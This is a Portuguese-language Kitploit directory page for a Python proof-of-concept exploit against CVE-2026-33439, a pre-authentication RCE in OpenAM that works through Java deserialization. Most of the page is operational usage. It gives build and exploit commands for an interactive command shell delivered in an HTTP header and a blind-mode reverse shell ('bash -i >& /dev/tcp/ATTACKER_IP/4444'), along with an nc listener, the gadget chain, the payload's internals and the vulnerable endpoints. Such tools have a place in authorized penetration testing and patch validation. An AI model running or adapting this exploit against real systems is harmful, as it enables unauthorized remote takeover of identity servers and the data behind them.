Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-33439-PoC — PoC em Python que explora o CVE-2026-33439, um RCE pré-autenticação no OpenAM via desserialização Java do parâmetro jato.clientSession, com modos de shell interativo e cego. | Kitploit
Ferramentas/GitHubGitHub/jonaschen0103/cve-2026-33439-poc
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed TeamingFerramenta de Acesso Remoto
GitHubjonaschen0103/cve-2026-33439-poc

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

CVE-2026-33439-PoC

PoC em Python que explora o CVE-2026-33439, um RCE pré-autenticação no OpenAM via desserialização Java do parâmetro jato.clientSession, com modos de shell interativo e cego.

Ver Repositório
há 5h 20mAinda não revisado
Compartilhar

CVE-2026-33439 — RCE Pré-Autenticação no OpenAM

Execução Remota de Código pré-autenticação no OpenIdentityPlatform OpenAM <= 16.0.5 através de desserialização Java insegura do parâmetro jato.clientSession (CVSS 9.8).

Apenas para testes de segurança autorizados.

Início Rápido

root@kitploit:~
# 1. Build payload (downloads JARs from Maven Central + compiles gadget chain)
python build.py

# 2. Exploit — interactive shell (output returned in HTTP response)
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell

Requisitos

  • Python 3.10+ (apenas stdlib, sem pip install)
  • JDK 21 (para build.py — deve corresponder à versão da JVM do servidor alvo; JDK 25 produz objetos serializados incompatíveis)

Dois Modos

Modo Interativo (padrão) — saída na resposta HTTP

O EvilTranslet lê o cabeçalho HTTP cmd do pedido, executa-o e escreve o stdout diretamente na resposta HTTP. Não é necessário listener.

root@kitploit:~
# Build interactive payload (no --command flag)
python build.py

# Single command
python exploit.py --url https://target/openam/ui/PWResetUserValidation "whoami"

# Interactive pseudo-shell
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell

# Auto-detect endpoint from base URL
python exploit.py --url https://target/openam/ --probe --shell

Modo Cego — para reverse shells / OOB

O comando é incorporado no bytecode do EvilTranslet. Não é devolvida saída; use um listener (nc, etc.) para capturar callbacks.

root@kitploit:~
# Build blind payload with reverse shell command
python build.py --command "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

# Terminal 1: listener
nc -lvnp 4444

# Terminal 2: deliver to all JATO endpoints
python exploit.py --url https://target/openam/ --all

Todas as Opções

build.py

FlagDescrição
(sem flags)Constrói payload interativo (lê o cabeçalho cmd em tempo de execução)
--command "CMD"Constrói payload cego com CMD incorporado no bytecode
--jars DIRUsa diretório de JARs local em vez de descarregar (padrão: ./libs)
--download-onlyApenas descarrega JARs, não compila

exploit.py

FlagDescrição
--url URLURL alvo (obrigatório) — endpoint completo ou URL base com --probe/--all
--shellPseudo-shell interativa (modo interativo)
--probeDeteta automaticamente endpoint vulnerável a partir da URL base
--allEntrega payload a TODOS os endpoints JATO (modo cego)
--method GET|POSTMétodo de entrega HTTP (padrão: GET)
--proxy URLProxy HTTP (ex.: http://127.0.0.1:8080 para Burp)
--timeout SECSTimeout do pedido (padrão: 15)
--verify-tlsAtiva verificação de certificado TLS
--debugMostra detalhes do pedido/resposta

Transparência do Payload

Todo o código-fonte está no repositório — sem blobs opacos. Os fontes Java estão incorporados em build.py como constantes de string legíveis. Após a compilação, verifique a saída:

root@kitploit:~
python verify.py              # summary: classes, integrity, red-flag scan
python verify.py --strings    # all printable strings in the payload
python verify.py --hexdump    # full hex dump
python verify.py --dump p.bin # export raw bytes for SerializationDumper / javap

Gadget Chain

root@kitploit:~
PriorityQueue.readObject()
  -> heapify() -> Column$ColumnComparator.compare()
    -> Column.getTable().isSortedAscending()
    -> Column.getProperty() -> PropertyUtils.getObjectPropertyValue()
      -> TemplatesImpl.getOutputProperties()
        -> defineTransletClasses() -> newInstance()
          -> EvilTranslet.<clinit>()  // command executes here

EvilTranslet (modo interativo)

  1. Thread.currentThread().getContextClassLoader().loadClass("com.iplanet.jato.RequestManager") — obtém o pedido/resposta HTTP através do classloader da webapp
  2. request.getHeader("cmd") — lê o comando
  3. new ProcessBuilder("/bin/sh", "-c", cmd) — executa
  4. response.reset() — limpa qualquer saída JSP anterior
  5. Escreve stdout na resposta como text/plain, depois fecha o fluxo de saída

EvilTranslet (modo cego)

  1. Runtime.getRuntime().exec(new String[]{"bash", "-c", "<baked-in command>"}) — dispara e esquece

Endpoints Vulneráveis

Qualquer endpoint JATO ViewBean que renderize tags <jato:form>, acessível pré-autenticação:

EndpointNotas
/openam/ui/PWResetUserValidationRedefinição de password (mais fiável)
/openam/ui/PWResetQuestionPerguntas de segurança da redefinição de password
/openam/ui/LoginPágina de login

Resolução de Problemas

SintomaCausaCorreção
Página HTML devolvida em vez da saída do comandoJSP sobrescreve a respostaUse --shell com payload interativo; ou mude para modo cego
Desserialização não é acionadaIncompatibilidade de versão do JDKRecompile com JDK 21: export JAVA_HOME=/path/to/jdk-21
Timeout no handshake TLSServidor requer hostname SNIAdicione o alvo a /etc/hosts e use o hostname, não o IP
javac não encontradoJDK não instaladoapt install openjdk-21-jdk

Referências

  • NVD — CVE-2026-33439
  • OpenAM Advisory GHSA-2cqq-rpvq-g5qj
  • Broadcom Protection Bulletin

Licença

MIT

Baixar ferramenta